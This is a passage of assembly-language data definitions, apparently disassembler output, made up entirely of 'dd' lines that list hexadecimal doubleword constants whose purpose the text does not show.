8441BA16h dd 9823EB7Fh, 0C3609C70h, 0E1BEE761h, 5AC800B8h, 220BFC4Bh dd 0D5015255h, 4198906Fh, 0D0605F44h, 24282A13h, 0CEF700A8h dd 0CC6816DFh, 0C53B74FAh, 89923AABh, 8544ECACh, 0B8903C5Ch dd 0C0202BA2h, 47B10339h, 4DEC1997h, 0EB507A00h, 64B024DFh dd 0F21D4896h, 57C39105h, 0D618D048h, 151519A5h, 29A8CF68h dd 6400F02Bh, 5B0451A6h dd 1602008Eh, 0FABCD226h, 9416F639h, 30A0A7h, 60426B7Ch dd 0EF8C8935h, 0FA06C36Dh, 312ABD19h, 33D50119h, 6FC780A2h dd 0E404040h, 1B7278E8h, 9AD5A000h, 961694E1h, 90B50040h dd 0D2155CDBh, 5A48FFF0h, 0B9381214h, 0C42A9832h, 9AE60298h dd 3631C995h, 10C8A061h, 22B6783h, 926D01BAh, 0A0841897h dd 30364B10h, 0CBC7C64h, 5C455742h, 2A52A3A1h, 52C400CCh dd 8168FA36h, 82E50E6Fh, 71E76959h, 9DF81284h, 0F0E2464h dd 0C588CF21h, 880127Dh, 0FF82504h, 1497BD2Fh, 0CA44A260h dd 40563E38h, 4C159370h, 50422C70h, 0C4AE6F1Fh, 11BE5C63h dd 14CA56B0h, 4106569h, 4016E611h, 0A42B1898h, 865C0498h dd 98C56768h, 1E17AFF8h, 7E8F4C0h, 0C1823458h, 2C66E4DCh dd 0EED744h, 5AF25726h, 0F78F49BDh, 19A92Eh, 10EF5B60h dd 7B0F02ECh, 0BC6C3BDBh, 5FF08880h, 0CF0BD151h, 168BDACCh dd 48300F80h, 0CC34E4B1h, 0A9C00848h, 4EEC9B72h, 0D900DCACh dd 2FD3AB31h, 941491D4h, 407413Ch, 3839E46Ah, 0D167FE1Ch dd 0B72D16C0h, 9FCB74h, 9776C206h, 19966390h, 5A29090Ch dd 4021A0F7h, 5C0107D3h, 26263A3h, 4027439Fh, 0BEF23122h dd 3C523A00h, 829B05BBh, 1AB7062Ch, 0F4F455C2h, 0AAF5E300h dd 0D4597563h, 84645149h, 0E54457F0h, 282BB194h, 99129D00h dd 53851EBh, 0F1096700h, 9A13606Bh, 0FBE51393h, 0AC6C04DDh dd 230CA52Eh, 0A8262C6Ch, 0C07FFF40h, 0CE3E877h, 3E444A8Fh dd 9D756D30h, 4514F0A8h, 0EDCB7300h, 4E0D0935h, 12C301BBh dd 0C7DC0ABEh, 1CA3D84Ah, 9C723A07h, 90BBC2BAh, 0F1E1FDCh dd 0A97D8750h, 0CC914A89h, 3CA03640h, 0A03CA568h, 8E165028h dd 9BE316C6h, 25B03043h, 2C0FB644h, 0A07C9668h, 86CEB3AEh dd 0B9BD043Dh, 0A3B49141h, 0E8C10D08h, 0A0237137h, 411F500Fh dd 0EAC78400h, 64745F17h, 45E6861Ch, 10037993h, 262BBCh dd 0CEC97E31h, 0F96FF835h, 157B3300h, 25820DFBh, 203959C0h dd 9CD18C3Bh, 0BC007C33h, 7F5CE78Bh, 9E040902h, 53322C19h dd 49BA898h, 0C0F5BB1Eh, 7104C091h, 822547ACh, 0C8149A31h dd 42E6990h, 6807E742h, 430A4040h, 90EB209Ch, 9D043E51h dd 276F0297h, 0FBE2F5A0h, 1F0C5D80h, 11BF0956h, 0C6803A2Fh dd 0DB381844h, 0FA642102h, 53F016A0h, 768C0090h, 9F86684Dh dd 0FE0171F6h, 6516972Bh, 0B501B353h, 486800E2h, 12E0A42Eh dd 0C8A0C3E9h, 7700CEACh, 0EC1E9410h, 908A674h, 0F6EB1F30h dd 0FE18A846h, 0B9B95F6Eh, 0F474FFh, 830588CCh, 0D51CA834h dd 0B59B6C00h, 7B4A6FF7h, 68290E50h, 707296F5h, 252BBD28h dd 1CFA88h, 0F1C27645h, 0A9A3B414h, 1BC5591Dh, 0BBCAC480h dd 1228D9E9h, 60BE7233h, 0F05C5E20h, 2D201460h, 1E946A84h dd 95BBCD40h, 0CC11FC18h, 7262238h, 0F7E398A4h, 0F00D20F5h dd 880A9C86h, 784AFB06h, 0B44F6DC4h, 42C15323h, 89AE20DFh dd 16019E32h, 0D01D20CAh, 43FEC0AAh, 297E4AACh, 0FC6AFCF0h dd 9CD0CF05h, 9CCCD28Dh, 99396328h, 75A807D4h, 5377ECE9h dd 9E4163Fh, 994B2DA7h, 600594B0h, 0FA100880h, 0B929100h dd 0FC4E4DE7h, 17872494h, 245700BCh, 0B14BB9F7h, 0DDC5D701h dd 71BCF64Fh, 60F22821h, 815E24C4h, 0C10824DEh, 8004D44Ch dd 0CE14B394h, 0C25D807Ah, 566B2CF0h, 1F589029h, 0BC4F5857h dd 0F098A4C9h, 4400BC0Ah, 8BDE67BBh, 246970h, 21EF1430h dd 26F86DDFh, 3C498FF1h, 0A8FFA0ECh, 2C73341Bh, 1F9C7C8Fh dd 964602DAh, 4C6C3669h, 4C2C6322h, 180889Ch, 7BCBEECEh dd 8500FDFCh, 0C1299964h, 0EAD724E0h, 2FB2131Dh, 0FF18D19Dh dd 1205FC33h, 0DE0428E7h, 0E77F00A2h, 2CF04AA8h, 3033D43h dd 0DFAE777Eh, 5C64B8BAh, 986709C6h, 58E65E5Dh, 0BC0C8D01h dd 6CF2261Fh, 452BAB41h, 81003036h, 0DDB3CE1Eh, 0D63E8A91h dd 128C50D2h, 0F4139D70h, 5821BF6Ch, 14734B26h, 66C48891h dd 64D0252Dh, 105C26h, 0F6A19E50h, 687E0BB3h, 7D970303h dd 0D8E8CC39h, 914AED4Bh, 2C389034h, 6712E431h, 0AAF6C4C0h dd 9B7402FDh, 0F7154D8Dh, 248F88C0h, 0BB417B05h, 0FC70BE76h dd 0A1394E6Bh, 4310CF48h, 40025D51h, 0CB56BE0Eh, 886468h dd 0F78D8523h, 0B7EE1DD4h, 228BF100h, 275E1744h, 0F4800E3h dd 7DA44909h, 0F74850B5h, 103422B8h, 1C3624F6h, 0E4470842h dd 0F9C0DE0Ch, 8E20AEh, 4B345F90h, 4586178h, 4C98915Ch dd 0B23525EEh, 7F4800FCh, 988D4CD4h, 0E2244862h, 0D7019100h dd 63E77AE3h, 0D2210A09h, 8B1C3195h, 992813E4h, 0F91C0070h dd 55CF3744h, 187E8F07h, 6190A966h, 245EA879h, 102059E0h dd 94C78A80h, 1715C380h, 159AF12h, 7A36BDBBh, 0FC31B732h dd 895C72F5h, 800BC908h, 53590284h, 0AABE0F63h, 566F162Ch dd 28D6E68Eh, 384449E8h, 0A050F59Ch, 0F87551CFh, 79052796h dd 5D686C18h, 70A01096h, 3A3B44h, 381689B2h, 0AF9AC774h dd 1C20F024h, 0BC826310h, 3161BAFDh, 5C6420E0h, 24CDA388h dd 0E01C8ACEh, 20AB3508h, 0F923C804h, 78B44157h, 0D458E9CFh dd 0E8A7896Ch, 74000ACDh, 0C2EF2051h, 2CD49313h, 1FDFB15Bh dd 4434EED5h, 0ACF3403Ah, 4E3E62Fh, 0F281A750h, 4B04E6FBh dd 6F4D6840h, 926BFA8h, 81AA43D2h, 8C596CE2h, 2B525E00h dd 0FFD79D67h, 70F23C61h, 0F8974958h, 892B8084h, 8AFE4088h dd 411F066Dh, 5340F1DDh, 0EFB3AF02h, 6B3205B6h, 22666F50h dd 1CCC80BCh, 50141F00h, 850E9E17h, 0FE07E695h, 0A874A324h dd 0ECF5D0CBh, 124C1F9Ah, 7B480375h, 2688575Ch, 843E3E66h dd 44151270h, 0A021FC28h, 631724h, 0B717E9Eh, 1D39DB3Eh dd 0D8D6601h, 0E7454F37h, 3C10E9ADh, 0E97E044Ch, 0D9B98B26h dd 5D38E707h, 9C1FB040h, 788AE3Bh, 2E19571Eh, 0C8534540h dd 5A31699Ch, 5626513Eh, 0AA001822h, 0CF4AA6EEh, 9894B9C2h dd 8C885E97h, 944600BDh, 0FA60B396h, 0E107167Ah, 5FE52D41h dd 185C6659h, 59466F07h, 11E86794h, 0B4F7571Dh, 764175C0h dd 0F41A8E4Ch, 80F09440h, 0C21519A4h, 0B8B6374Ah, 2D1F16E0h dd 5C07F439h, 0E01CDAFh, 0CE088ACDh, 205C76C1h, 59F0C85Ah dd 98043B92h, 5E09C5CFh, 44B06CE6h, 8A5244h, 0BCC05F8Bh dd 9A065975h, 72189B00h, 2A62AB2Bh, 88F624EFh, 921EE014h dd 76017806h, 4F840F55h, 7423EDF7h, 16E89F24h, 6D783043h dd 0B1006C0Ah, 0DDBA8C70h, 3FB6CFBEh, 45002029h, 18EF5667h dd 2B4EE61Eh, 96D3501Ch, 913C88Ah, 93BCD025h, 0B501821Eh dd 0FAB24E0Bh, 6A307A1Ah, 197F444h, 0EF15A369h, 0D4747858h dd 2A4A666Ch, 947E5844h, 2D0318A2h, 3E02819Ah, 0ADD92FF8h dd 0C609C800h, 0D6F7EE53h, 0F4F05706h, 0E526811h, 0E0CA4201h dd 41E4D7ADh, 0A0B41DF1h, 0CC440216h, 1073AA77h, 4DB8CE13h dd 4B00045Dh, 751BF65Bh, 0A7008F56h, 2014EA89h, 4C9A41F3h dd 2422E418h, 1D4E8B0Bh, 8BE8E2D8h, 0E2EB0464h, 45E87097h dd 49D0C007h, 3457F084h, 0AB0178A0h, 0C34EA42Fh, 18235657h dd 5F89584Dh, 0C2075CB0h, 20E1DE27h, 0BE8FCEF8h, 1FD8992Bh dd 1018C0E0h, 211EAAFDh, 633D334Ch, 0B5BCF7E8h, 0FB20C88h dd 0FE87B010h, 0A5E08AEEh, 0CA67391Dh, 726F4613h, 80C83848h dd 0C0D878D7h, 0D4F41F39h, 91575D04h, 0C4A01E36h, 8BE0B437h dd 0D8113CCFh, 80802835h dd 448CD396h, 41680051h, 623C946Bh, 0F04A8328h, 20CACC72h dd 7928DB2h, 0C5AAE901h, 9D49661Eh, 6E007C72h, 84407EF7h dd 56007CB4h, 0D3B50852h, 1DEA134Ah, 8B2B8372h, 6466D0FAh dd 5C66BC11h, 64024322h, 7DE9F40Dh, 98104CA0h, 448C99A4h dd 75184026h, 16A59088h, 154C21Bh, 0E0F2106Ch, 2C1420F4h dd 0E4300789h, 115601E9h, 6AB5417Ch, 36CC3131h, 8D2600F0h dd 0E08E7EFh, 149C9097h, 0B0A7F8BBh, 3DB9F209h, 26180834h dd 69C9564Ch, 9338B64Bh, 8624909Ch, 0E8002670h, 7F4588FDh dd 0CEF1921h, 5EA44DBCh, 63726F20h, 9C6039D2h, 3F0DF3F8h dd 0B5059BDFh, 0CC187F9Fh, 0B4CFCB60h, 0A7B6A101h, 802B1EF4h dd 0BF92D538h, 0BD75B401h, 0C43BB14Bh, 20C41475h, 941858E6h dd 30073D22h, 7F293516h, 4E273EF0h, 40214FF7h, 0D862B7B4h dd 2F00A7F3h, 0E956A048h, 52429E3h, 80FF8E13h, 3894DD0Eh dd 38F88058h, 20373Bh, 17E09341h, 0AAE1A122h, 13861A00h dd 9BAB3290h, 9A39F2EBh, 303720ACh, 64B2C224h, 10C86F44h dd 0F22C00EEh, 48118AD8h, 8901C9C2h, 0F4BDFAADh, 0BC36EF8Ch dd 0E4048A78h, 0A4A4D735h, 0BF690291h, 9880C456h, 4A809ACDh dd 5D70402Bh, 0A5DD7C66h, 0A00C3F2h, 8D7BDABCh, 0B0632D38h dd 72872CB4h, 0C2F3C524h, 1F20C884h, 5B6C88C2h, 0EF482049h dd 32D4895h, 0E8401036h, 0FDB4356Ah, 2CF8B310h, 1000DC1Fh dd 0B6FECA45h, 0C2141643h, 34D54Bh, 25076F64h, 0BD58B2C5h dd 0E914B080h, 573A0CC3h, 69E15B48h, 0B63F23Fh, 0E85467C1h dd 88C44FA0h, 32644869h, 0F8A807B1h, 6A20C2B2h, 0A094D849h dd 6B7680h, 57BD4541h, 256198E6h, 2C8094BCh, 97171ACEh dd 85800082h, 20566E77h, 1D0B08BBh, 6407187Eh, 0EC160048h dd 0B80F3A9Dh, 8E00E223h, 0DEDB9C0Bh, 16F26F6h, 7F8F4E47h dd 39CFCDBDh, 24205F48h, 388D4880h, 3080249Fh, 0F3EFE2EEh dd 14017670h, 4D4B5B1Ch, 0D9C65CC8h, 0E21FE5B0h, 14190054h dd 534BE6FDh, 176A5A4Eh, 7400810h, 0EF143B8Eh, 2C0F333Eh dd 76C7D128h, 6010E957h, 8CA8CB2Bh, 0DA2EA502h, 180716AFh dd 1170AB4Ch, 214A16Ch, 0EEB7CE50h, 30C171BEh, 406FD65Ah dd 0DE304A15h, 0F3FB4D80h, 59B0FC85h, 6F1D4072h, 0BA016249h dd 3875F55Ah, 9024C52Ah, 4C964164h, 3C04BA84h, 37DED832h dd 612A3F80h, 609B008Bh, 685A1F48h, 0D80ABF10h, 0A8C2A1FFh dd 0DEC12701h, 806C339Eh, 2BA8899Eh, 9ED56C98h, 68EF7A01h dd 26F2C8EEh, 0BA8602Bh, 0EB883828h, 0B271F9h, 56B82E36h dd 7C71C18Ah, 12A02F0Fh, 0E85F0AB5h, 0C8659FC4h, 92002120h dd 8B0748A9h, 25BB6C5h, 9A18F291h, 90907385h, 118833BFh dd 45CC04E6h, 0C0BE55BBh, 0E0CB53A4h, 0F1E12094h, 9E106C6Eh dd 1B004228h, 2497A07Ah, 445C7Fh, 290CAE65h, 0DE791AEEh dd 0CC265B12h, 13B9CE4h, 8A0B506Ah, 0C40D1FD9h, 3DEDE302h dd 3842843Ch, 0F2572644h, 254B2154h, 0A0889447h, 5948885Eh dd 8C124AEh, 26F7636Bh, 40E09C49h, 0E987A25Fh, 25691E00h dd 7576A112h, 148300A5h, 0E87C02D4h, 320934AAh, 4C8CB131h dd 56EE028Ch, 0B3C3FF19h, 5C155CC1h, 9E8823CCh, 65200048h dd 32F4B0F2h, 1E0067C7h, 90C251BFh, 643B9E97h, 0C868D05Eh dd 0F9008514h, 0BA55DAEFh, 1ED37E2Dh, 0C2FFBF52h, 488C67F1h dd 9100A071h, 29930B2h, 103E7DBFh, 784E2F2Eh, 0C1E8C850h dd 0B836DD25h, 0E0647938h, 8F690026h, 0E49EC299h, 0AB15E11Eh dd 0D7A03727h, 0C481C420h, 17BC004Bh, 0DA8F31A7h, 0A53C2D1Eh dd 338292A8h, 64489CB6h, 0CC68A625h, 4E162B44h, 6462F075h dd 778DA9Ch, 349364E5h, 7E510058h, 32144C17h, 65C7C144h dd 0D0CC1F81h, 0DC041EC0h, 31F5808Eh, 8202E9B0h, 5C1C743Ch dd 0D86C0070h, 0B41F1AEDh, 0E5522EBAh, 60C82E74h, 0BDFB81D8h dd 331D23E2h, 0AC0C014h, 0DF9A82EDh, 644A083Fh, 90275EA8h dd 2226240h, 8AA041E6h, 886C9BD6h, 79142109h, 0E95C186Bh dd 68A39D6Eh, 81E594A8h, 30A93E18h, 0E2072C3Eh, 0ADAB2587h dd 0E9C2AE60h, 0C5A40EF6h, 42C08AE4h, 0DC9B69B5h, 923BE039h dd 4472153Ah, 7A8B888h, 0DB210050h, 0C273C513h, 0BE64F576h dd 0EC4967F9h, 0A18C5A80h, 9E3D8685h, 0C9A90FCBh, 7529A1B3h dd 9830BE18h, 2BA28844h, 803F1C91h, 12459408h, 0A75B68h dd 62FE5FA1h, 0CDF67418h, 10D5B44Ah, 9B8B498h, 0AA917998h dd 5236683h, 0F9185EC0h, 5086FB05h, 0A473A839h, 2D5A8B57h dd 0F0A02BB1h, 0B6542565h, 44197101h, 118DEF1Bh, 678EF7ECh dd 0F11CDABEh, 0E8C40148h, 0BB50CDACh, 25227448h, 26450037h dd 4A47B7A9h, 4D007021h, 7159756Eh, 0B7FFBF0h, 55EA6563h dd 2A307C4Ch, 912641CBh, 0C4AE7DE6h, 0A63ED78Ch, 246611ECh dd 48E8205Ah, 330049E8h, 0DFA678D2h, 5D745D28h, 5713E481h dd 4C7C3253h, 2590A710h, 0D8444012h, 0C162F00h, 87EA5C07h dd 91F101A1h, 0D681B404h, 0C9FA20C7h, 0C0E01250h, 7B5310FBh dd 0E294B45Bh, 10D1646Bh, 5EAEF13h, 2672D4h, 142BAD74h dd 3DB87348h, 9DD4D259h, 29DBDF4Ch, 58B55CC2h, 45E00AB0h dd 396D0800h, 0D7430DE7h, 4B9EB081h, 2A7498BDh, 5080D09Ch dd 0CBDA70E2h, 2CBE5F56h, 944C7A9Ch, 0BCF71FB8h, 6C0F41D6h dd 0E216B163h, 0C2B08174h, 90447CC1h, 4EC2288h, 38C963CFh dd 8888E862h, 6C10A5B8h, 0BF0055D0h, 0B2575A8Fh, 9409E71h dd 1F15148Eh, 0A4009C73h, 3CF11C97h, 0F76627FDh, 0EC966C10h dd 3B5FF612h, 0A905A705h, 761B18C0h, 0DC16099Fh, 38ECB98Fh dd 81C09C30h, 0F155AEEh, 203DB5FDh, 83F44840h, 6E04FA74h dd 347E677Ch, 63CB8CE8h, 40520C40h, 0C7DA2B88h, 60EB3189h dd 952DE45Ah, 5B9F4558h, 781811h, 0A5DE8A40h, 7596581h dd 9814FDF4h, 17D3F283h, 243B8030h, 42C4A1Ch, 0E8DCC28Fh dd 60D3C8h, 2D06B63h, 1D416CD7h, 0FCB84025h, 1F1C9749h dd 0C30A421Bh, 1027DCA3h, 5E6EB8h, 0E30E672Ah, 6C143A53h dd 7AA89316h, 0C1A7700Bh, 0D0705F10h, 36B7222Dh, 34BADF10h dd 52CEC23Ah, 763CF228h, 0DA6DC600h, 0F984B247h, 7D8C26C5h dd 141AC040h, 0C0DFAA7Eh, 571993C7h, 1C403020h, 2ED874CCh dd 0C7CC5B9Eh, 0C25AD107h, 57862A7h, 0B9439406h, 68255CCAh dd 62098468h, 6DEFDC00h, 0B14C112h, 4CBC12E6h, 0AA549C08h dd 0E3E9FE00h, 0B1C516B6h, 468F0086h, 0CEC7BEE7h, 6DEE1FBAh dd 81DC3159h, 3B2ABC0Dh, 90D33F00h, 1B156500h, 57782DC4h dd 1060E155h, 64963985h, 94A4F080h, 2BEED43Dh, 8F3860B9h dd 0DCBDA745h, 1B1458C0h, 4CD23EF9h, 0FB043C34h, 0DCAD577Ch dd 0C944DD0Ch, 8054B428h, 13D98417h, 3195A23Dh, 1510C894h dd 0E802DCB3h, 59634331h, 9D684141h, 39A5E048h, 0E59FBB03h dd 191880BCh, 2A10F44Dh, 5C825302h, 587B454Fh, 5894495Ch dd 1EE49Dh, 8AFCA35Ch, 0AA04BE5Eh, 3B7EB954h, 1B8058E8h dd 7DDAF1FEh, 85F9C93Fh, 9D11B6F5h, 0F17050C8h, 0EB68F8h dd 34E653E4h, 0D287FCB3h, 67F800B4h, 0B99C05E5h, 9DEB7Ch dd 0F6C32878h, 580A8F12h, 8C01AD96h, 0D9E907C0h, 0C95A139Bh dd 0EE703268h, 111C5412h, 0C3306248h, 8C8C60F2h, 4349890h dd 0F07D4E17h, 10908ADBh, 94423522h, 0C8B1CD85h, 4B5FC1B0h dd 203D7C22h, 2F03D760h dd 29B1B600h, 5BEF7F01h, 45340987h, 0F47A2BBCh, 0B8075001h dd 26126441h, 4AFCDF4h, 0F02F555Dh, 3C20E921h, 0BB018066h dd 5D5FF65h, 93410918h, 0A4F93D8Eh, 166EA06Fh, 0FEC391h dd 0D9DDC91Ch, 37DB8677h, 0B84E2629h, 76CDA200h, 0F29DD4D2h dd 0AFD525DAh, 0CFC2D030h, 442DB499h, 0C557072Ch, 882C63h dd 0BAD00561h, 5BB03810h, 385D3E10h, 95C1804Ah, 0D787D45Eh dd 5AF002Fh, 0C5429E66h, 7A2C7DF2h, 98133884h, 0DC234E2h dd 78C44B6Bh, 0C5680718h, 3E3B81h, 0DDB71C12h, 43A2D3BFh dd 2EF1539h, 0BD72EAD5h, 204675h, 10F56A50h, 0AE180EDDh dd 4995020Bh, 9428149Fh, 7D2B8078h, 16406D44h, 83FA3CE8h dd 0FB662907h, 8BFEDCE4h, 0F6283130h, 1144206Bh, 0AC380110h dd 48A0C823h, 0AA47C010h, 0A0DDE9h, 0CDA6C3D7h, 18521B04h dd 0AB3966F4h, 5890FC17h, 44F45F40h, 48BB585Ch, 0E8250D89h dd 0FED03C0h, 0E71EF5F4h, 0C878BBA0h, 7539CF04h, 52A42452h dd 943F2404h, 760038B7h, 7BFAAA82h, 4F52B94Bh, 0FD0C7C68h dd 90B4D1DCh, 0F96C7358h, 0C826C997h, 0F813AA8h, 0F2202C6Bh dd 0D5A56200h, 0CDD960DBh, 6F3A44A7h, 0A041676Eh, 26A966B4h dd 68A11D4Dh, 4155400Ch, 2056A8C9h, 0D4B09274h, 4061C445h dd 0E0D14C3Ch, 0D0CE8C8Bh, 743F8FE6h, 20242D55h, 6444B198h dd 0F020C425h, 321CFC91h, 240BC835h, 59E6625Fh, 0F92E004Ch dd 0E9C20CEEh, 0D1BB6600h, 0AEE115C8h, 2D240053h, 0EF02D2BAh dd 4100B328h, 6BFBBDB9h, 970D6039h, 40A18491h, 0B9F31EEDh dd 30783D5Fh, 764188E6h, 56800C00h, 684CFC86h, 1184BC14h dd 0A534003Ch, 69F12A19h, 0AC4148BAh, 0CF21AC22h, 6B01829Ah dd 1A2964h, 92813870h, 6DDB00ECh, 0F34B47C8h, 0F70036A4h dd 1D0A4C5Fh, 24C208E3h, 0EB88E19h, 58CBC95Eh, 0C76D5084h dd 0B697E3C4h, 0F66C21C5h, 1046D24h, 1B7C532Dh, 6ADDE249h dd 1F46F8h, 0AA9376C4h, 91571882h, 128077F3h, 8C22323Ah dd 61E10E0h, 0B440B896h, 20B2A61h, 0A66C54D9h, 0EAC094CEh dd 2D4F1BB9h, 38803425h, 0F335EB7h, 9141E7E9h, 1208900h dd 0F905D378h, 1B1765FBh, 0C26E0A6h, 3048606Ch, 89008216h dd 8B6699DDh, 2EB2606h, 42927323h, 0FD60CA12h, 0D52EB508h dd 64EB808Fh, 644F00DCh, 4661898Dh, 971EB37Eh, 0CEC2F76Dh dd 6EC0F51Eh, 0D0A622C4h, 57C8079Dh, 0CFC41019h, 7BB12265h dd 32C6C113h, 402E04C9h, 0DC403D3Ch, 0F102C10Dh, 0BD7EE1C8h dd 27B45042h, 10449BC5h, 0A63D8C28h, 83EDFE00h, 709ECA4Ch dd 106C0076h, 0BEE23A52h, 0A24D3E31h, 0BC0B834Ch, 5C982275h dd 0E82AB825h, 0AFAC04h, 6C6F6BEh, 4C632504h, 0EA7AF7ECh dd 0F94BA406h, 91E81158h, 0E2126714h, 0CA408E89h, 513F39D5h dd 0A9A68074h, 0E4FD9EB1h, 0BCB09746h, 44843B66h, 23EA6EC9h dd 0FAB9613h, 70B8E064h, 0BA87FA80h, 620094B7h, 0C17440D7h dd 2FD313E6h, 0A06164B8h, 485209BBh, 988C24ECh, 57257418h dd 43B4C44Eh, 80492142h, 0D13558D5h, 3850BECDh, 808B697Ch dd 2B2A7Eh, 687B835Bh, 480C423Ah, 4C728F00h, 0BDDB57CFh dd 305B48A0h, 6E6B26CFh, 94970C64h, 49290140h, 97E71C55h dd 0D3C83911h, 308024A2h, 57C5C0F3h, 0D7F01013h, 1C00C485h dd 0E972372Ch, 3B5E161Fh, 0D248B1F7h, 44A190D8h, 4CBC1535h dd 755087h, 8EF22AA7h, 0DF2E1B01h, 1E251707h, 0B4ED2C71h dd 0C082387Dh, 9424E3E9h, 4E802CA8h, 8F5EB26Dh, 41385A00h dd 236710F3h, 0BD680387h, 0AAFA6FBCh, 0F11A66F0h, 0C774144Ch dd 7E50A5A2h, 0FCCDBA49h, 39070055h, 1EACEB63h, 98020540h dd 4E6FF096h, 5EDC993Ch, 73388515h, 0CCBC4C38h, 91885FA8h dd 76FF00B8h, 0B6D109ABh, 0E32C71CCh, 0C1E2B8F7h, 17D846D5h dd 2024F014h, 0D91BF428h, 0C709CA98h, 5A3EBD16h, 93C89914h dd 0F3047256h, 10F1C08Bh, 21B22480h, 821071h, 0F08F56EFh dd 3BC35C8Eh, 7603B402h, 0D6882DB7h, 0EF81627Ch, 36925CDCh dd 8C7884E3h, 630014A6h, 5206E52Eh, 81BFB764h, 4D44603Bh dd 23CDB5Dh, 6BA96D62h, 5CDC6449h, 0DC83D4AFh, 75E0646Eh dd 0D17EBB2h, 0B4A69077h, 1C968007h, 92B630B8h, 0E644DCC2h dd 72C12E1Fh, 3A11B8h, 0A8F4AEE9h, 1756A465h, 72E03076h dd 9E20C9F8h, 264831ECh, 0C40C5674h, 2A0A85Fh, 0CEC2CCE6h dd 4400F882h, 7BE3C1EFh, 0C9C82427h, 0BC098C30h, 87002B4Ch dd 61A0D2E2h, 0A3B463h, 0A4F08249h, 8E5414A0h, 0C014425Ch dd 67EDC2F1h, 0F82A5CD0h, 1C5A5F80h, 29001BCCh, 582E8C83h dd 0FA32BD97h, 1010BF0Fh, 5A05B5C4h, 0F051A241h, 0C07834DDh dd 23AF4880h, 3A090BBFh, 0B92045ADh, 8111438Ch, 409A20BEh dd 2F40EF49h, 3149464h, 2F0B533Ch, 48B0C4E9h, 201F7D0h dd 8C4CF16Dh, 0F4301A75h, 0A0EB52B1h, 2EE3C011h, 4CE4F494h dd 0FEF040ACh, 3602A559h, 0C23C2989h, 681255B4h, 0C344B46Eh dd 4A38006Dh, 2948637Dh, 3A07731Dh, 5A0295DFh, 24E38550h dd 620D5FC0h, 0EE20314Ch, 13611B8Ch, 0D321F7A6h, 2BD0BE34h dd 0E63DE95Eh, 0A0779C9Bh, 26F6AD40h, 3BB222B3h, 405F88B5h dd 21B76808h, 0D902C56Ch, 0F20FB3Ah, 4CB4F0D5h, 15053BF7h dd 22496FF1h, 70E6B97Ch, 87FE401Eh, 0D9CEFDC0h, 0E8E098A0h dd 7F8F3C89h, 8AE7AC50h, 3C002066h, 0FA77D38Ch, 8D331Ah dd 0F558BCDFh, 0F4DDA2Fh, 869E3C12h, 162560E6h, 9165B490h dd 0C63E5AE0h, 0A40D171Eh, 0E207D202h, 0EDCDA2Bh, 73E9A9D2h dd 65964F00h, 0CE00461Ch, 0EAB976C2h, 250149Ah, 3DC7982Eh dd 0CCF39468h, 0CD80B580h, 27B17702h, 403190FAh, 26A4611Fh dd 4C4B78BCh, 0F7F0648Dh, 3065296Fh, 37E6049Ch, 34548040h dd 0D128BB43h, 0E34490B4h, 508E13F6h, 2E6C979Dh, 0F54B6500h dd 3500F730h, 0FE9B78C8h, 254CB324h, 0C0B0F8DDh, 61286B01h dd 5C3A383Dh, 0F08CCB6Ch, 88B9009Fh, 2352BD8Ah, 0FF126D91h dd 0C4705165h, 534034F6h, 0B5037881h, 0E97F8467h, 2B606BA9h dd 0FA85D422h, 746C4450h, 80264A3Ch, 6F233EE3h, 448AD92h dd 0F21EB266h, 4CD8E46Eh, 7651B300h, 6AAE3464h, 45711775h dd 0D460046Dh, 0A4070A5Eh, 548BC835h, 7263A300h, 0EEB19756h dd 0F558B8B7h, 26D8098Bh, 2CF94340h, 5F808821h, 16060EA5h dd 0C5449C36h, 8BBCB42Ah, 0E5C66902h, 0CE70FCC5h, 2EBCBA30h dd 7DF82Eh, 72DEBADh, 4D001BEAh, 0C68A69B8h, 4AD1F0F5h dd 0C054E2B0h, 0E1A9B45h, 9D2D25DCh, 5ED07CE0h, 2546FA8Bh dd 0E4C4C5A2h, 0AF587C84h, 0F43AA240h, 3FD6490Ch, 53F78203h dd 0E218800Fh, 5ED5001Fh, 841C8914h, 722DE179h, 827C6C5Fh dd 401879F6h, 4716A909h, 959D0202h, 6C4B17B0h, 0BA3C4448h dd 0C92A3703h, 0C6334CE4h, 0C022F2F1h, 0F72E5E21h, 150028BEh dd 442C45BBh, 250ED65h, 6056103Ch, 0BC546FD8h, 2055EA40h dd 20029F0Eh, 0B52583EBh, 518008E2h, 10D4EDA0h, 0DDB92102h dd 311D38F9h, 9C202F12h, 45B39Fh, 0AB4BDD5Bh, 0F6F3F778h dd 0C54F5727h, 522662B0h, 1542CC98h, 0E2E8C217h, 86279CB2h dd 62C0BC98h, 9BFCBF19h, 0B814BBC8h, 0A019220h, 88697A18h dd 0CBC4D3E1h, 0F0EF5627h, 0E2CDB817h, 45E3E10h, 0FB6EE00Ch dd 74C80C84h, 0BD8E2F6h, 0C77E4C41h, 0C0541411h, 0D5274FDFh dd 644C4216h, 0AAF60F40h dd 2A2BE7FBh, 0E8F578E9h, 0D4045C08h, 4A0582C1h, 637E8CDDh dd 0F8B46870h, 0F6F78080h, 242D9EF2h, 40784067h, 2CDE55CEh dd 0D1D1E7FFh, 0BF844214h, 24E4FB29h, 2D0EAF8h, 123D5C0Ah dd 0E040147Eh, 0F0FF7034h, 7407D09h, 0D5C08F0Ah, 0A94A34F7h dd 0B0C2177Ch, 70987C64h, 22E8AE63h, 2FF15945h, 63AAB401h dd 0D1F6B57Fh, 0C7660094h, 95843473h, 4F1FE703h, 0D00C35D9h dd 12873D6Bh, 845122Bh, 7E93D750h, 205770E0h, 6F29E0CBh dd 0DF03CC5Ah, 0B02028BBh, 94E6A6F7h, 0C5C598h, 0CA217178h dd 5A009FFDh, 0AAD1887h, 18B9D714h, 0B9CF5CEFh, 52F41C94h dd 3B01F1D2h, 0C25CE515h, 0AAB07068h, 13FE7103h, 4BA3BE00h dd 0B379E1B5h, 6FF80052h, 27E89D32h, 42974A43h, 0F4C640h dd 0E62E20BAh, 7B301901h, 408EB101h, 2D3E5C35h, 3AE4DC31h dd 9FDA12CFh, 0A9942368h, 606F1990h, 57070D00h, 0FCB14FF6h dd 0F3E34AA2h, 377900ACh, 86C95865h, 7428E9CDh, 43EC1A0Eh dd 6669D362h, 48103059h, 34AB3B81h, 9F1894C6h, 2FDF208Ch dd 106A6569h, 0EC60CCF6h, 4C94A4Fh, 99AD4E17h, 0C167C148h dd 8E423C2h, 402BD71Ah, 8ADD24C0h, 0D1444502h, 483B67D0h dd 254CBD88h, 3473DA21h, 0CD267C00h, 7A74B5AAh, 25E5E8A4h dd 84C821D8h, 500BDECh, 0AB6A6899h, 1F91BCAh, 0D7B1F11h dd 889314D6h, 